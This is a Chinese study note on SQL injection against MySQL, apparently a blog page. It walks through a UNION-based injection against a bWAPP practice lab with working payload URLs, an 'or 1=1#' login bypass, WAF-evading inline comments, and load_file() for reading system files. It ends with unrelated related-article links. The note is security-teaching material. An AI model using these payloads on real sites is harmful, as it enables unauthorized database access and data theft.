Web安全攻防笔记-SQL注入
information_schema(MySQL5.0版本之后,MySQL数据库默认存放一个information_schema数据库)
information_schema的三个表:
SCHEMATA:该表中的字段SCHEMA_NAME存储该用户创建的所有数据库的库名。
TABLES:该表中的字段TABLE_SCHEMA,TABLE_NAME分别记录该用户创建的所有数据库库名和表名。
COLUMNS:该表中的字段TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME分别记录该用户创建的所有数据库库名、表名、字段名。
查询语句
SELECT 要查询的字段名 FROM 库名.表名
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’
SELECT 要查询的字段名 FROM 库名.表名 WHERE 已知条件的字段名=‘已知条件的值’ AND 已知条件2的字段名=‘已知条件2的值’
SELECT * FROM users
SELECT * FROM users limit 0,1
重要函数(用于注入时,查询敏感信息)
database():当前网站使用数据库
version():当前数据库版本号
user():当前数据库用户
concat_ws():多条目显示
load_file():读取系统文件,读取文件路径需转换为16进制
注释符
#或--空格或//**//
select from username,password from where username = ‘admin’ and password = ‘123456’
admin’ or 1=1#
select from username,password from where username = ‘admin’or 1=1#’and password = ‘123456’
内联注释(用于绕过WAF等防护)
/*!code*/
/*!union*/ /*!select*/ 1,2,3
Union联合查询注入攻击
http://192.168.100.130/sqli_2.php?movie=4%E2%80%98&action=go
http://192.168.100.130/sqli_2.php?movie=4%20and%201=1&action=go
http://192.168.100.130/sqli_2.php?movie=4%20and%201=2&action=go
http://192.168.100.130/sqli_2.php?movie=4%20order%20by%207--+&action=go 确认表数
http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,2,3,4,5,6,7%20--+&action=go
http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,database(),version(),4,user(),6,7%20--+&action=go
当前数据库名:bWAPP
当前数据库版本:5.5.47
当前数据库用户名:localhost
http://192.168.100.130/sqli_2.php?movie=-4 union select 1,table_name,3,4,5,6,7 from information_schema.tables limit 3,1-- &action=go
http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,column_name,3,4,5,6,7%20from%20information_schema.columns%20where%20column_name=0x75736572%20limit%200,1--%20&action=go
http://192.168.100.130/sqli_2.php?movie=-4%20union%20select%201,column_name,3,4,5,6,7%20from%20information_schema.columns%20where%20column_name=0x70617373776f7264%20limit%200,1--%20&action=go
Web安全攻防笔记-SQL注入的更多相关文章
- Web安全学习笔记 SQL注入下
Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...
- Web安全学习笔记 SQL注入上
Web安全学习笔记 SQL注入上 繁枝插云欣 --ICML8 SQL注入分类 SQL注入检测 一.注入分类 1.简介 SQL注入是一种代码注入技术用于攻击数据驱动的应用程序在应用程序中,如果没有做恰当 ...
- Web安全学习笔记 SQL注入中
Web安全学习笔记 SQL注入中 繁枝插云欣 --ICML8 权限提升 数据库检测 绕过技巧 一.权限提升 1. UDF提权 UDF User Defined Function,用户自定义函数 是My ...
- Web安全学习笔记——SQL注入
一.MySQL注入 1. 常用信息查询 常用信息: 当前数据库名称:database() 当前用户:user() current_user() system_user() 当前数据库版本号:@@ver ...
- Web安全测试学习笔记-SQL注入-利用concat和updatexml函数
mysql数据库中有两个函数:concat和updatexml,在sql注入时经常组合使用,本文通过学习concat和updatexml函数的使用方法,结合实例来理解这种sql注入方式的原理. con ...
- Web登录敲门砖之sql注入
声明:文本原创,转载请说明出处,若因本文而产生任何违法违纪行为将与本人无关.在百度.博客园.oschina.github .SegmentFault.上面都关于sql注入的文章和工具.看过很多sql注 ...
- Web常见安全漏洞-SQL注入
SQL注入攻击(SQL Injection),简称注入攻击,是Web开发中最常见的一种安全漏洞. 可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作, 甚至有可 ...
- php web开发安全之sql注入和防范:(一)简单的select语句注入和防范
sql注入主要是指通过在get.post请求参数中构造sql语句,以修改程序运行时所执行的sql语句,从而实现获取.修改信息甚至是删除数据的目的,sql被注入的原因主要是代码编写的有问题(有漏洞),只 ...
- PHP代码审计笔记--SQL注入
0X01 普通注入 SQL参数拼接,未做任何过滤 <?php $con = mysql_connect("localhost","root"," ...
随机推荐
- [WPF 自定义控件]使用WindowChrome自定义RibbonWindow
1. 为什么要自定义RibbonWindow 自定义Window有可能是设计或功能上的要求,可以是非必要的,而自定义RibbonWindow则不一样: 如果程序使用了自定义样式的Window,为了统一 ...
- AttributeError: 'unicode' object has no attribute 'tzinfo' 未解决
Internal Server Error: /demo/machineinfo.htmlTraceback (most recent call last): File "C:\Python ...
- [browser location和history] 简单实现了个路由[转载]
今天看了1下前面写的,好像缺乏交流性,周末再来弄吧 -0- 今天看了browser 的 location 和 history location属性 // //location.hash 性是一个可读可 ...
- 深入浅出之js闭包知识点梳理(一)
简单认识闭包 前言:和大多数编程语言一样,js也采用词法作用域,即函数的执行依赖于变量作用域,这个作用域是在函数定义时决定的,而不是函数调用时决定的.函数对象可以通过作用域链关联起来,函数体内部的 ...
- iOS-基于TCP连接<Scoket-客户端>
一:前言(本文为TCP客户端) TCP首先要服务器开放一个端口 然后客户端去连接服务端的IP地址和端口号 连接成功之后再进行数据传输 要经历三次握手 二:代码在GitHub 1.需要的工具类 自行下载 ...
- 对Android 8.0以上版本通知点击无效的一次分析
版权声明:本文为xing_star原创文章,转载请注明出处! 本文同步自http://javaexception.com/archives/178 对Android 8.0以上版本通知点击无效的一次分 ...
- Java使用FeignClient发送HTTP 请求
使用FeignClient发送HTTP请求1.添加依赖<!-- spring cloud jar--><dependency> <groupId>org.sprin ...
- go语言设计模式之bridge
著名的桥接模式罗.. bridge.go package bridge import ( "errors" "fmt" "io" ) typ ...
- 【1期】Java必知必会之一
面试官:线程池那些事儿 面试官:new 一个对象有哪两个过程?
- npm --save-dev 和 --save 的区别
转载 >>> 1. npm install 在安装 npm 包时,有两种命令参数可以把它们的信息写入 package.json 文件, 一个是npm install--save ...